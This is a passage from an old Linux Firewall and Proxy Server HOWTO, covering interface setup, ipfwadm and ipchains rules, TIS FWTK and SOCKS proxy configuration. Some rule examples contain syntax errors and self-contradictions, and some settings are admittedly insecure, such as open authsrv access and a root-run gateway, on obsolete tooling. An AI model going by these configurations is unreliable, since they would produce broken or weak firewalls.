Here is the ifcfg-eth1 (second ehternet card) for our example;

    DEVICE=eth1
    IPADDR=192.168.1.1
    NETMASK=255.255.255.0
    NETWORK=192.168.1.0
    BROADCAST=192.168.1.255
    GATEWAY=24.94.1.123
    ONBOOT=yes

If you are going to use a dialup connection you will need to look at the ifcfg-ppp0 and the chat-ppp0 file. These control your PPP connection.

This ifcfg file might look like;

    DEVICE="ppp0"
    ONBOOT="yes"
    USERCTL="no"
    MODEMPORT="/dev/modem"
    LINESPEED="115200"
    PERSIST="yes"
    DEFABORT="yes"
    DEBUG="yes"
    INITSTRING="ATZ"
    DEFROUTE="yes"
    HARDFLOWCTL="yes"
    ESCAPECHARS="no"
    PPPOPTIONS=""
    PAPNAME="LoginID"
    REMIP=""
    NETMASK=""
    IPADDR=""
    MRU=""
    MTU=""
    DISCONNECTTIMEOUT=""
    RETRYTIMEOUT="5"
    BOOTPROTO="none"

6.4 Testing your network

Start by using the ifconfig and route commands. If you have two network cards ifconfig should look something like:

  #ifconfig
  lo        Link encap:Local Loopback
            inet addr:127.0.0.1  Mask:255.0.0.0
            UP LOOPBACK RUNNING  MTU:3924  Metric:1
            RX packets:1620 errors:0 dropped:0 overruns:0
            TX packets:1620 errors:0 dropped:0 overruns:0
            collisions:0 txqueuelan:0

  eth0      Link encap:10Mbps Ethernet  HWaddr 00:00:09:85:AC:55
            inet addr:24.94.1.123 Bcast:24.94.1.255  Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:1000 errors:0 dropped:0 overruns:0
            TX packets:1100 errors:0 dropped:0 overruns:0
            collisions:0 txqueuelan:0
            Interrupt:12 Base address:0x310

  eth1      Link encap:10Mbps Ethernet  HWaddr 00:00:09:80:1E:D7
            inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:1110 errors:0 dropped:0 overruns:0
            TX packets:1111 errors:0 dropped:0 overruns:0
            collisions:0 txqueuelan:0
            Interrupt:15 Base address:0x350

and your route table should look like:

  #route -n
  Kernel routing table
  Destination     Gateway         Genmask         Flags MSS    Window Use Iface
  24.94.1.0       *               255.255.255.0   U     1500   0       15 eth0
  192.168.1.0     *               255.255.255.0   U     1500   0        0 eth1
  127.0.0.0       *               255.0.0.0       U     3584   0        2 lo
  default         24.94.1.123     *               UG    1500   0       72 eth0

Note: 24.94.1.0 is the Internet side of this firewall and 192.168.1.0 is the private (LAN) side.

You should start by making sure every computer on your LAN can ping the inside address of your firewall system. (192.168.1.1 in this example) If not, go over the NET-2 HOWTO again and work on the network some more.

Next, from the firewall, try to ping a Internet system. I use www.internic.net as my test point. If it doesn't work, try a server at your ISP. If this doesn't work some part of your Internet connection is wrong. You should be able to connect to the anywhere on the Internet from the firewall. Try looking at your default gateway setting. If you are using a dialup connection double check your user ID and Password. Reread the Net-2 HOWTO, and try again.

Now try to ping the outside address of the firewall (24.94.1.123) from a computer on your LAN. This shouldn't work. If it does, you have masquerading or IP Forwarding turned on, or you already have some packet filtering set. Turn them off and try again. You need to know the filtering is in place.

For kernels newer then 2.1.102 you can issue the command;

    echo "0" > /proc/sys/net/ipv4/ip_forward

If you are using an older kernel (WHY) you will need to re-compile your kernel with forwarding turned off. (Just upgrade.)

Try pinging the outside address of the firewall (24.94.1.123) again. It shouldn't work.

Now turn on IP forwarding and/or masquerading. You should be able to ping the anywhere on the Internet from any system on your LAN.

    echo "1" > /proc/sys/net/ipv4/ip_forward

BIG NOTE: If you are using "REAL" IP addresses on your LAN (not 192.168.1.*) and you can't ping the internet but you CAN ping the Internet side of your firewall, make sure your ISP is routing packets for your private network address.

A test for this problem is to have someone else on the Internet (say a friend using a local provider) use traceroute to your network. If the trace stops at your providers router, then they are not forwarding your traffic.

It works? Great. The hard part is done. :-)

6.5 Securing the Firewall

A firewall isn't any good if the system it is build on is left wide open to attacks. A "bad guy" could gain access to the through a non firewall service and modify it for their own needs. You need to turning off any unneeded services.

Look in your /etc/inetd.conf file. This file configures inetd also known as the "super server". It controls a bunch of the server daemons and starts them as they are requested by a packet arriving at a "well known" port.

You should turn off echo, discard, daytime, chargen, ftp, gopher, shell, login, exec, talk, ntalk, pop-2, pop-3, netstat, systat, tftp, bootp, finger, cfinger, time, swat and linuxconfig if you have one.

To turn a service off, put # as the first character of the service line. When your done, send a SIG-HUP to the process by typing "kill -HUP <pid>", where <pid> is the process number of inetd. This will make inetd re-read its configuration file (inetd.conf) and restart without taking your system down.

Test this by telneting to port 15 (netstat) on firewall. If you get any output you have not turned these services off.

telnet localhost 19

You can also create the file /etc/nologin. Put a few line of text in it like (BUZZ OFF). When this file exists, login will not allow user to logon. They will see the contents of this file and their logins refused. Only root can logon.

You can also edit the file /etc/securetty. If the user is root, then the login must be occurring on a tty listed in /etc/securetty. Failures will be logged with the syslog facility. With both of these controls in place the only way to logon to the firewall will be as root from the console.

NEVER EVER TELNET to a system and log IN AS ROOT. If you need remote root access SSH (Secure Shell). You might even turn off telnet.

If you are really paranoid you need to be using lids (Linux Intrusion Detect System). It is an intrusion detection system patch for the Linux kernel; it can protect important files from being changed. When it's in effect, no one (including root) can change the protected files or directories and their sub-directories. You have to reboot the system with a security=1 LILO setting to modify secure files. (I'd also boot into single user mode.)


Firewall and Proxy Server HOWTO: IP filtering setup (IPFWADM)

 Next Previous Contents

7. IP filtering setup (IPFWADM)

If you are using kernel 2.1.102 or newer skip to the next section on IPCHAINS.

In older kernels IP Forwarding is turned on by default in the kernel. Because of this, your network should start by denying access to everything and flushing any ipfw rules in place from the last time it was run. This script fragment should go in your network startup script. (/etc/rc.d/init.d/network)

  #
  # setup IP packet Accounting and Forwarding
  #
  #   Forwarding
  #
  # By default DENY all services
  ipfwadm -F -p deny
  # Flush all commands
  ipfwadm -F -f
  ipfwadm -I -f
  ipfwadm -O -f

Now we have the ultimate firewall. Nothing can get through.

Now create the file /etc/rc.d/rc.firewall. This script should allow email, Web and DNS traffic through. ;-)

#! /bin/sh
#
# rc.firewall
#
# Source function library.
. /etc/rc.d/init.d/functions

# Get config.
. /etc/sysconfig/network

# Check that networking is up.
if [ ${NETWORKING} = "no" ]
then
        exit 0
fi
case "$1" in
  start)
  echo -n "Starting Firewall Services: "
  # Allow email to got to the server
  /sbin/ipfwadm -F -a accept -b -P tcp -S 0.0.0.0/0 1024:65535 -D 192.1.2.10 25
  # Allow email connections to outside email servers
  /sbin/ipfwadm -F -a accept -b -P tcp -S 192.1.2.10 25 -D 0.0.0.0/0 1024:65535
  # Allow Web connections to your Web Server
  /sbin/ipfwadm -F -a accept -b -P tcp -S 0.0.0.0/0 1024:65535 -D 192.1.2.11 80
  # Allow Web connections to outside Web Server
  /sbin/ipfwadm -F -a accept -b -P tcp -S 192.1.2.* 80 -D 0.0.0.0/0 1024:65535
  # Allow DNS traffic
  /sbin/ipfwadm -F -a accept -b -P udp -S 0.0.0.0/0 53 -D 192.1.2.0/24
  ;;
  stop)
  echo -n "Stooping Firewall Services: "
  ipfwadm -F -p deny
  ;;
  status)
  echo -n "Now do you show firewall stats?"
  ;;
  restart|reload)
        $0 stop
        $0 start
        ;;
  *)
        echo "Usage: firewall {start|stop|status|restart|reload}"
        exit 1
esac

NOTE: In this example we have the email (smtp) server running at 192.1.2.10 that must be able to send and receive on port 25. The web server running at 192.1.2.11. We are allowing anyone on the LAN to get to outside web and DNS servers.

This is not perfectly secure. Because port 80 doesn't have to used as a web port, a smart hacker might use this port to create a virtual private network (VPN) through the firewall. The way around this is to setup a web proxy. and only allow the proxy through the firewall. Users on the LAN will have to go through the proxy to get to outside web servers.

You might also be interested in accounting for traffic going through your firewall. This script will count ever packet. You could add a line or two to account for packets going to just a single system.

  # Flush the current accounting rules
  ipfwadm -A -f
  # Accounting
  /sbin/ipfwadm -A -f
  /sbin/ipfwadm -A out -i -S 192.1.2.0/24 -D 0.0.0.0/0
  /sbin/ipfwadm -A out -i -S 0.0.0.0/0 -D 192.1.2.0/24
  /sbin/ipfwadm -A in -i -S 192.1.2.0/24 -D 0.0.0.0/0
  /sbin/ipfwadm -A in -i -S 0.0.0.0/0 -D 192.1.2.0/24

If all you need is a filtering firewall you can stop here. Test it and Enjoy.


Firewall and Proxy Server HOWTO: IP filtering setup (IPCHAINS)

 Next Previous Contents

8. IP filtering setup (IPCHAINS)

Linux ipchains is a rewrite of the Linux IPv4 firewalling code and a rewrite of ipfwadm, which was a rewrite of BSD's ipfw, I believe. It is required to administer the IP packet filters in Linux kernel versions 2.1.102 and above.

The older code doesn't deal with fragments, has 32-bit counters (on Intel at least), doesn't allow specification of protocols other than TCP, UDP or ICMP, can't make large changes atomically, can't specify inverse rules, has some quirks, and can be tough to manage (making it prone to user error). Or so the author says.

I'm not going to get real deep into how to control an IPChains firewall because there is a GREAT!! HOWTO on it at http://www.adelaide.net.au/~rustcorp/ipfwchains/ipfwchains.html. I'd just end up duplicating it here. Here are the basics.

You work with chains by name. You start with three built-in chains input, output and forward which you can't delete. You can create chains of your own. Rules can then be added and deleted from these rule sets.

The operations to work on entire chains are;

  1. Create a new chain (-N).
  2. Delete an empty chain (-X).
  3. Change the policy for a built-in chain. (-P).
  4. List the rules in a chain (-L).
  5. Flush the rules out of a chain (-F).
  6. Zero the packet and byte counters on all rules in a chain (-Z).

There are several ways to manipulate rules inside a chain:

  1. Append a new rule to a chain (-A).
  2. Insert a new rule at some position in a chain (-I).
  3. Replace a rule at some position in a chain (-R).
  4. Delete a rule at some position in a chain (-D).
  5. Delete the first rule that matches in a chain (-D).

There are a few operations for masquerading, which are in ipchains for want of a good place to put them:

  1. List the currently masqueraded connections (-M -L).
  2. Set masquerading timeout values (-M -S).

There are some timing issues involved in altering firewall rules. If you are not careful, you can let packets through while you are half-way through your changes. A simplistic approach is to do the following:

     # ipchains -I input 1 -j DENY
     # ipchains -I output 1 -j DENY
     # ipchains -I forward 1 -j DENY

... make changes ...

     # ipchains -D input 1
     # ipchains -D output 1
     # ipchains -D forward 1
     #

This drops all packets for the duration of the changes.

Here a duplicate of the above firewall rules in IPChains.

#!/bin/sh
#
# rc.firewall
#
## Flush everything, start from scratch
  /sbin/ipchains -F input
  /sbin/ipchains -F output
  /sbin/ipchains -F forward

## Redirect for HTTP Transparent Proxy
  #$IPCHAINS  -A input -p tcp -s 192.1.2.0/24 -d 0.0.0.0/0 80 -j REDIRECT 8080

## Create your own chain
  /sbin/ipchains -N my-chain
  # Allow email to got to the server
  /sbin/ipchains -A my-chain -s 0.0.0.0/0 smtp -d 192.1.2.10 1024:-j ACCEPT
  # Allow email connections to outside email servers
  /sbin/ipchains -A my-chain -s 192.1.2.10 -d 0.0.0.0/0 smtp -j ACCEPT
  # Allow Web connections to your Web Server
  /sbin/ipchains -A my-chain -s 0.0.0.0/0 www -d 192.1.2.11 1024: -j ACCEPT
  # Allow Web connections to outside Web Server
  /sbin/ipchains -A my-chain -s 192.1.2.0/24 1024: -d 0.0.0.0/0 www -j ACCEPT
  # Allow DNS traffic
  /sbin/ipchains -A my-chain -p UDP -s 0.0.0.0/0 dns -d 192.1.2.0/24 -j ACCEPT

## If you are using masquerading
  # don't masq internal-internal traffic
  /sbin/ipchains -A forward -s 192.1.2.0/24 -d 192.1.2.0/24 -j ACCEPT
  # don't masq external interface direct
  /sbin/ipchains -A forward -s 24.94.1.0/24 -d 0.0.0.0/0 -j ACCEPT
  # masquerade all internal IP's going outside
  /sbin/ipchains -A forward -s 192.1.2.0/24 -d 0.0.0.0/0 -j MASQ

## Deny everything else
  /sbin/ipchains -P my-chain input DENY

Don't stop here. This is not a great firewall and I'm sure you have other services you will be providing. Again, read the IPCHAINS-HOWTO.


Firewall and Proxy Server HOWTO: Installing a Transparent SQUID proxy

 Next Previous Contents

9. Installing a Transparent SQUID proxy

The squid proxy is available at http://squid.nlanr.net/.

The SQUID developers provide RedHat and Debian packages. If you can, use one of these.


Firewall and Proxy Server HOWTO: Installing the TIS Proxy server

 Next Previous Contents

10. Installing the TIS Proxy server

10.1 Getting the software

The TIS FWTK is available at http://www.tis.com/research/software/.

Don't make the mistake I did. When you ftp files from TIS, READ THE README's. The TIS fwtk is locked up in a hidden directory on their server.

TIS requires you read their agreement at http://www.tis.com/research/software/fwtk_readme.html and then send email to fwtk-request@tislabs.com with only the word accepted in the body of the message to learn the name of this hidden directory. No subject is needed in the message. Their system will then mails you back the directory name (good for 12 hours) to download the source.

As of this writing, the current version of FWTK is 2.1.

10.2 Compiling the TIS FWTK

Version 2.1 of the FWTK compiles much easier then any of the older versions.

EXPLAIN HERE!!!

Now run make.

10.3 Installing the TIS FWTK

Run make install.

The default installation directory is /usr/local/etc. You could change this (I didn't) to a more secure directory. I chose to change the access to this directory to 'chmod 700'.

All last is left now is to configure the firewall.

10.4 Configuring the TIS FWTK

Now the fun really begins. We must teach the system to call theses new services and create the tables to control them.

I'm not going to try to re-write the TIS FWTK manual here. I will show you the setting I found worked and explain the problems I ran into and how I got around them.

There are three files that make up these controls.

  • /etc/services
    • Tells the system what ports a services is on.
  • /etc/inetd.conf
    • Tells inetd what program to call when someone knocks on a service port.
  • /usr/local/etc/netperm-table
    • Tells the FWTK services who to allow and deny service to.

To get the FWTK functioning, you should edit these files from the bottom up. Editing the services file without the inetd.conf or netperm-table file set correctly could make your system inaccessible.

The netperm-table file

This file controls who can access the services of the TIS FWTK. You should think about the traffic using the firewall from both sides. People outside your network should identify themselves before gaining access, but the people inside your network might be allowed to just pass through.

So people can identify themselves, the firewall uses a program called authsrv to keep a database of user IDs and passwords. The authentication section of the netperm-table controls where the database is keep and who can access it.

I had some trouble closing the access to this service. Note the premit-hosts line I show uses a '*' to give everyone access. The correct setting for this line is '' authsrv: premit-hosts localhost if you can get it working.

  #
  # Proxy configuration table
  #
  # Authentication server and client rules
  authsrv:      database /usr/local/etc/fw-authdb
  authsrv:      permit-hosts *
  authsrv:      badsleep 1200
  authsrv:      nobogus true
  # Client Applications using the Authentication server
  *:            authserver 127.0.0.1 114

To initialize the database, su to root, and run ./authsrv in the /var/local/etc directory to create the administrative user record. Here is a sample session.

Read the FWTK documentation to learn how to add users and groups.

    #
    # authsrv
    authsrv# list
    authsrv# adduser admin "Auth DB admin"
    ok - user added initially disabled
    authsrv# ena admin
    enabled
    authsrv# proto admin pass
    changed
    authsrv# pass admin "plugh"
    Password changed.
    authsrv# superwiz admin
    set wizard
    authsrv# list
    Report for users in database
    user   group  longname           ok?    proto   last
    ------ ------ ------------------ -----  ------  -----
    admin         Auth DB admin      ena    passw   never
    authsrv# display admin
    Report for user admin (Auth DB admin)
    Authentication protocol: password
    Flags: WIZARD
    authsrv# ^D
    EOT
    #

The telnet gateway (tn-gw) controls are straight forward and the first you should set up.

In my example, I permit host from inside the private network to pass through without authenticating themselves. (permit-hosts 19961.2.* -passok) But, any other user must enter their user ID and password to use the proxy. (permit-hosts * -auth)

I also allow one other system (192.1.2.202) to access the firewall directly without going through the firewall at all. The two inetacl-in.telnetd lines do this. I will explain how these lines are called latter.

The Telnet timeout should be keep short.

  # telnet gateway rules:
  tn-gw:                denial-msg      /usr/local/etc/tn-deny.txt
  tn-gw:                welcome-msg     /usr/local/etc/tn-welcome.txt
  tn-gw:                help-msg        /usr/local/etc/tn-help.txt
  tn-gw:                timeout 90
  tn-gw:                permit-hosts 192.1.2.* -passok -xok
  tn-gw:                permit-hosts * -auth
  # Only the Administrator can telnet directly to the Firewall via Port 24
  netacl-in.telnetd: permit-hosts 192.1.2.202 -exec /usr/sbin/in.telnetd

The r-commands work the same way as telnet.

  # rlogin gateway rules:
  rlogin-gw:    denial-msg      /usr/local/etc/rlogin-deny.txt
  rlogin-gw:    welcome-msg     /usr/local/etc/rlogin-welcome.txt
  rlogin-gw:    help-msg        /usr/local/etc/rlogin-help.txt
  rlogin-gw:    timeout 90
  rlogin-gw:    permit-hosts 192.1.2.* -passok -xok
  rlogin-gw:    permit-hosts * -auth -xok
  # Only the Administrator can telnet directly to the Firewall via Port
  netacl-rlogind: permit-hosts 192.1.2.202 -exec /usr/libexec/rlogind -a

You shouldn't have anyone accessing your firewall directly and that includes FTP so don't put an FTP, server on you firewall.

Again, the permit-hosts line allows anyone in the protected network free access to the Internet and all others must authenticate themselves. I included logging of every file sent and received to my controls. (-log { retr stor })

The ftp timeout controls how long it will take to drop a bad connections as well as how long a connection will stay open with out activity.

  # ftp gateway rules:
  ftp-gw:               denial-msg      /usr/local/etc/ftp-deny.txt
  ftp-gw:               welcome-msg     /usr/local/etc/ftp-welcome.txt
  ftp-gw:               help-msg        /usr/local/etc/ftp-help.txt
  ftp-gw:               timeout 300
  ftp-gw:               permit-hosts 192.1.2.* -log { retr stor }
  ftp-gw:               permit-hosts * -authall -log { retr stor }

Web, gopher and browser based ftp are contorted by the http-gw. The first two lines create a directory to store ftp and web documents as they are passing through the firewall. I make these files owned by root and put the in a directory accessible only by root.

The Web connection should be kept short. It controls how long the user will wait on a bad connections.

  # www and gopher gateway rules:
  http-gw:      userid          root
  http-gw:      directory       /jail
  http-gw:      timeout 90
  http-gw:      default-httpd   www.afs.net
  http-gw:      hosts           192.1.2.* -log { read write ftp }
  http-gw:      deny-hosts      *

The ssl-gw is really just a pass anything gateway. Be carefully with it. In this example I allow anyone inside the protected network to connect to any server outside the network except the addresses 127.0.0.* and 192.1.1.* and then only on ports 443 through 563. Ports 443 through 563 are known SSL ports.

  # ssl gateway rules:
  ssl-gw:         timeout 300
  ssl-gw:         hosts           192.1.2.* -dest { !127.0.0.* !192.1.1.* *:443:563 }
  ssl-gw:         deny-hosts      *

Here is an example of how to use the plug-gw to allow connections to a news server. In this example I allow anyone inside the protected network to connect to only one system and only to it's news port.

The seconded line allows the news server to pass its data back to the protected network.

Because most clients expect to stay connected while the user read news, the timeout for a news server should be long.

  # NetNews Pluged gateway
  plug-gw:        timeout 3600
  plug-gw: port nntp 192.1.2.* -plug-to 24.94.1.22 -port nntp
  plug-gw: port nntp 24.94.1.22 -plug-to 192.1.2.* -port nntp

The finger gateway is simple. Anyone inside the protected network must login first and then we allow them to use the finger program on the firewall. Anyone else just gets a message.

  # Enable finger service
  netacl-fingerd: permit-hosts 192.1.2.* -exec /usr/libexec/fingerd
  netacl-fingerd: permit-hosts * -exec /bin/cat /usr/local/etc/finger.txt

I haven't setup the Mail and X-windows services so I'm not including examples. If anyone has a working example, please send me email.

The /etc/services file

This is where it all begins. When a client connects to the firewall it connects on a known port (less then 1024). For example telnet connects on port 23. The inetd deamon hears this connection and looks up the name of these service in the /etc/services file. It then calls the program assigned to the name in the /etc/inetd.conf file.

Some of the services we are creating are not normally in the /etc/services file. You can assign some of them to any port you want. For example, I have assigned the administrator's telnet port (telnet-a) to port 24. You could assign it to port 2323 if you wished. For the administrator (YOU) to connect directly to the firewall you will need to telnet to port 24 not 23 and if you setup your netperm-table file, like I did, you will only be able to this from one system inside your protected network.

  telnet-a        24/tcp
  ftp-gw          21/tcp           # this named changed
  auth            113/tcp   ident    # User Verification
  ssl-gw          443/tcp


Firewall and Proxy Server HOWTO: The SOCKS Proxy Server

 Next Previous Contents

11. The SOCKS Proxy Server

11.1 Setting up the Proxy Server

The SOCKS proxy server available from http://www.socks.nec.com/.

Uncompressed and untar the files into a directory on your system, and follow the instructions on how to make it. I had a couple problems when I made it. Make sure that your Makefiles are correct.

One important thing to note is that the proxy server needs to be added to /etc/inetd.conf. You must add a line:

  socks  stream  tcp  nowait  nobody  /usr/local/etc/sockd  sockd

to tell the server to run when requested.

11.2 Configuring the Proxy Server

The SOCKS program needs two separate configuration files. One to tell the access allowed, and one to route the requests to the appropriate proxy server. The access file should be housed on the server. The routing file should be housed on every UNIX machine. The DOS and, presumably, Macintosh computers will do their own routing.

The Access File

With socks4.2 Beta, the access file is called "sockd.conf".It should contain 2 lines, a permit and a deny line. Each line will have three entries:

  • The Identifier (permit/deny)
  • The IP address
  • The address modifier

The identifier is either permit or deny. You should have both a permit and a deny line.

The IP address holds a four byte address in typical IP dot notation. I.E. 192.168.1.0.

The address modifier is also a typical IP address four byte number. It works like a netmask. Envision this number to be 32 bits (1s or 0s). If the bit is a 1, the corresponding bit of the address that it is checking must match the corresponding bit in the IP address field. For instance, if the line is:

    permit 192.168.1.23 255.255.255.255

it will permit only the IP address that matches every bit in 192.168.1.23, eg, only 192.168.1.3. The line:

    permit 192.168.1.0 255.255.255.0

will permit every number within group 192.168.1.0 through 192.168.1.255, the whole C Class domain. One should not have the line:

    permit 192.168.1.0 0.0.0.0

as this will permit every address, regardless.

So, first permit every address you want to permit, and then deny the rest. To allow everyone in the domain 192.168.1.xxx, the lines:

    permit 192.168.1.0 255.255.255.0
    deny 0.0.0.0 0.0.0.0

will work nicely. Notice the first "0.0.0.0" in the deny line. With a modifier of 0.0.0.0, the IP address field does not matter. All 0's is the norm because it is easy to type.

More than one entry of each is allowed.

Specific users can also be granted or denied access. This is done via ident authentication. Not all systems support ident, including Trumpet Winsock, so I will not go into it here. The documentation with socks is quite adequate on this subject.

The Routing File

The routing file in SOCKS is poorly named "socks.conf". I say "poorly named" because it is so close to the name of the access file that it is easy to get the two confused.

The routing file is there to tell the SOCKS clients when to use socks and when not to. For instance, in our network, 192.168.1.3 will not need to use socks to talk with 192.168.1.1, firewall. It has a direct connection in via Ethernet. It defines 127.0.0.1, the loopback, automatically. Of course you do not need SOCKS to talk to yourself. There are three entries:

  • deny
  • direct
  • sockd

Deny tells SOCKS when to reject a request. This entry has the same three fields as in sockd.conf, identifier, address and modifier. Generally, since this is also handled by sockd.conf, the access file, the modifier field is set to 0.0.0.0. If you want to preclude yourself from calling any place, you can do it here.

The direct entry tells which addresses to not use socks for. These are all the addresses that can be reached without the proxy server. Again we have the three fields, identifier, address and modifier. Our example would have

    direct 192.168.1.0 255.255.255.0

Thus going direct for any on our protected network.

The sockd entry tells the computer which host has the socks server daemon on it. The syntax is:

  sockd @=<serverlist> <IP address> <modifier>

Notice the @= entry. This allows you to set the IP addresses of a list of proxy servers. In our example, we only use one proxy server. But, you can have many to allow a greater load and for redundancy in case of failure.

The IP address and modifier fields work just like in the other examples. You specify which addresses go where through these. 6.2.3. DNS from behind a Firewall

Setting up Domain Name service from behind a firewall is a relatively simple task. You need merely to set up the DNS on the firewalling machine. Then, set each machine behind the firewall to use this DNS.

11.3 Working With a Proxy Server

Unix

To have your applications work with the proxy server, they need to be "sockified". You will need two different telnets, one for direct communication, one for communication via the proxy server. SOCKS comes with instructions on how to SOCKify a program, as well as a couple pre-SOCKified programs. If you use the SOCKified version to go somewhere direct, SOCKS will automatically switch over to the direct version for you. Because of this, we want to rename all the programs on our protected network and replace them with the SOCKified programs. "Finger" becomes "finger.orig", "telnet" becomes "telnet.orig", etc. You must tell SOCKS about each of these via the include/socks.h file.

Certain programs will handle routing and sockifying itself. Netscape is one of these. You can use a proxy server under Netscape by entering the server's address (192.168.1.1 in our case) in the SOCKs field under Proxies. Each application will need at least a little messing with, regardless of how it handles a proxy server.

MS Windows with Trumpet Winsock

Trumpet Winsock comes with built in proxy server capabilities. In the "setup" menu, enter the IP address of the server, and the addresses of all the computers reachable directly. Trumpet will then handle all outgoing packets.

Getting the Proxy Server to work with UDP Packets

The SOCKS package works only with TCP packets, not UDP. This makes it quite a bit less useful. Many useful programs, such as talk and Archie, use UDP. There is a package designed to be used as a proxy server for UDP packets called UDPrelay, by Tom Fitzgerald <fitz@wang.com>. Unfortunately, at the time of this writing, it is not compatible with Linux.

11.4 Drawbacks with Proxy Servers

The proxy server is, above all, a security device. Using it to increase internet access with limited IP addresses will have many drawbacks. A proxy server will allow greater access from inside the protected network to the outside, but will keep the inside completely inaccessible from the outside. This means no servers, talk or archive connections, or direct mailing to the inside computers. These drawbacks might seem slight, but think of it this way:

  • You have left a report you are doing on your computer inside a firewall protected network. You are at home, and decide that you would like to go over it. You can not. You can not reach your computer because it is behind the firewall. You try to log into firewall first, but since everyone has proxy server access, no one has set up an account for you on it.

  • Your daughter goes to college. You want to email her. You have some private things to talk about, and would rather have your mail sent directly to your machine. You trust your systems administrator completely, but still, this is private mail.

  • The inability to use UDP packets represents a big drawback with the proxy servers. I imagine UDP capabilities will be coming shortly.

FTP causes another problem with a proxy server. When getting or doing an ls, the FTP server opens a socket on the client machine and sends the information through it. A proxy server will not allow this, so FTP doesn't particularly work.

And, proxy servers run slow. Because of the greater overhead, almost any other means of getting this access will be faster.

Basically, if you have the IP addresses, and you are not worried about security, do not use a firewall and/or proxy servers. If you do not have the IP addresses, but you are also not worried about security, you might also want to look into using an IP emulator, like Term, Slirp or TIA. Term is available from ftp://sunsite.unc.edu, Slirp is available from ftp://blitzen.canberra.edu.au/pub/slirp, and TIA is available from marketplace.com. These packages will run faster, allow better connections, and provide a greater level of access to the inside network from the internet. Proxy servers are good for those networks which have a lot of hosts that will want to connect to the internet on the fly, with one setup and little work after that.


Firewall and Proxy Server HOWTO: Advanced Configurations

 Next Previous Contents

12. Advanced Configurations

There is one configuration I would like to go over before wrapping this document up. The one I have just outlined will probably suffice for most people. However, I think the next outline will show a more advanced configuration that can clear up some questions. If you have questions beyond what I have just covered, or are just interested in the versatility of proxy servers and firewalls, read on.

12.1 A large network with emphasis on security

Say, for instance, you are the leader of millisha and you wish to network your site. You have 50 computers and a subnet of 32 (5 bits) IP numbers. You need various levels of access within your network because you tell your followers different things. Therefore, you'll need to protect certain parts of the network from the rest.

The levels are:

  1. The external level. This is the level that gets shown to everybody. This is where you rant and rave to get new volunteers.
  2. Troop This is the level of people who have gotten beyond the external level. Here is where you teach them about the evail government and how to make bombs.
  3. Mercenary Here is where the real plans are keep. In this level is stored all the information on how the 3rd world government is going to take over the world, your plans involving Newt Gingrich, Oklahoma City, lown care products and what really is stored in that hangers at area 51.

The Network Setup

The IP numbers are arranged as:

  • 1 number is 192.168.1.255, which is the broadcast address and is not usable.
  • 23 of the 32 IP addresses are allocated to 23 machines that will be accessible to the internet.
  • 1 extra IP goes to a Linux box on that network
  • 1 extra goes to a different Linux box on that network.
  • 2 IP #'s go to the router
  • 4 are left over, but given domain names paul, ringo, john, and george, just to confuse things a bit.
  • The protected networks both have the addresses 192.168.1.xxx

Then, two separate networks are built, each in different rooms. They are routed via infrared Ethernet so that they are completely invisible to the outside room. Luckily, infrared ethernet works just like normal ethernet.

These networks are each connected to one of the Linux boxes with an extra IP address.

There is a file server connecting the two protected networks. This is because the plans for taking over the world involves some of the higher Troops. The file server holds the address 192.168.1.17 for the Troop network and 192.168.1.23 for the Mercenary network. It has to have different IP addresses because it has to have different Ethernet cards. IP Forwarding on it is turned off.

IP Forwarding on both Linux boxes is also turned off. The router will not forward packets destined for 192.168.1.xxx unless explicitly told to do so, so the internet will not be able to get in. The reason for turning off IP Forwarding here is so that packets from the Troop's network will not be able to reach the Mercenary network, and vica versa.

The NFS server can also be set to offer different files to the different networks. This can come in handy, and a little trickery with symbolic links can make it so that the common files can be shared with all. Using this setup and another ethernet card can offer this one file server for all three networks.

The Proxy Setup

Now, since all three levels want to be able to monitor the network for their own devious purposes, all three need to have net access. The external network is connected directly into the internet, so we don't have to mess with proxy servers here. The Mercenary and Troop networks are behind firewalls, so it is necessary to set up proxy servers here.

Both networks will be setup very similarly. They both have the same IP addresses assigned to them. I will throw in a couple of parameters, just to make things more interesting though.

  1. No one can use the file server for internet access. This exposes the file server to viruses and other nasty things, and it is rather important, so its off limits.
  2. We will not allow troop access to the World Wide Web. They are in training, and this kind of information retrieval power might prove to be damaging.

So, the sockd.conf file on the Troop's Linux box will have this line:

    deny 192.168.1.17 255.255.255.255

and on the Mercenary machine:

    deny 192.168.1.23 255.255.255.255

And, the Troop's Linux box will have this line

    deny 0.0.0.0 0.0.0.0 eq 80

This says to deny access to all machines trying to access the port equal (eq) to 80, the http port. This will still allow all other services, just deny Web access.

Then, both files will have:

    permit 192.168.1.0 255.255.255.0

to allow all the computers on the 192.168.1.xxx network to use this proxy server except for those that have already been denied (ie. The file server and Web access from the Troop network).

The Troop's sockd.conf file will look like:

    deny 192.168.1.17 255.255.255.255
    deny 0.0.0.0 0.0.0.0 eq 80
    permit 192.168.1.0 255.255.255.0

and the Mercenary file will look like:

    deny 192.168.1.23 255.255.255.255
    permit 192.168.1.0 255.255.255.0

This should configure everything correctly. Each network is isolated accordingly, with the proper amount of interaction. Everyone should be happy.


Firewall and Proxy Server HOWTO: Making Management Easy

 Next Previous Contents

13. Making Management Easy

13.1 Firewall tools

There are several software packages that will make managing your firewall easier.

Be carefull, don't use these tools unless you can do without them. These scripts make it just as easy to make a misstake as they do to help you get it wright.

Both graphical and web based interfaces are being developed to work with the Linux filtering rules. Some companies have even create commercial firewalls based on Linux by putting it in their own box with their own management code. (nice)

I'm not realy a GUI guy. However, I have been using firewalls with GUI interfaces for some time. I've found they help by providing a nice report of all the rules in one easy glance.

gfcc (GTK+ Firewall Control Center) is a GTK+ application which can control Linux firewall policies and rules, based on ipchains package. Go to http://icarus.autostock.co.kr and get your copy. This is a realy good tool.

I have included RC scripts in appendex A. These scripts work with and without gfcc.

There a lots of scripts avaible to setup a firewall. One very complete script is avaible at http://www.jasmine.org.uk/~simon/bookshelf/papers/instant-firewall/instant-firewall.html. Another will done script is at http://www.pointman.org/.

Kfirewall is a GUI frontend for ipchains or ipfwadm (depending on your kernel version). http://megaman.ypsilonia.net/kfirewall/

FCT is an HTML based tool for the configuration of a firewall. It features automatic script-generation for IP-filtering commands (ipfwadm) on a firewall for multiple interfaces and any internet services. http://www.fen.baynet.de/~ft114/FCT/firewall.htm

13.2 General tools

WebMin is a general system admin package. It will not help you manage the firewall rules but it will help you with turning on and off damons and processes. This program is VERY good, I'm hoping the J. Cameron will include a IPCHAINS module. http://www.webmin.com/


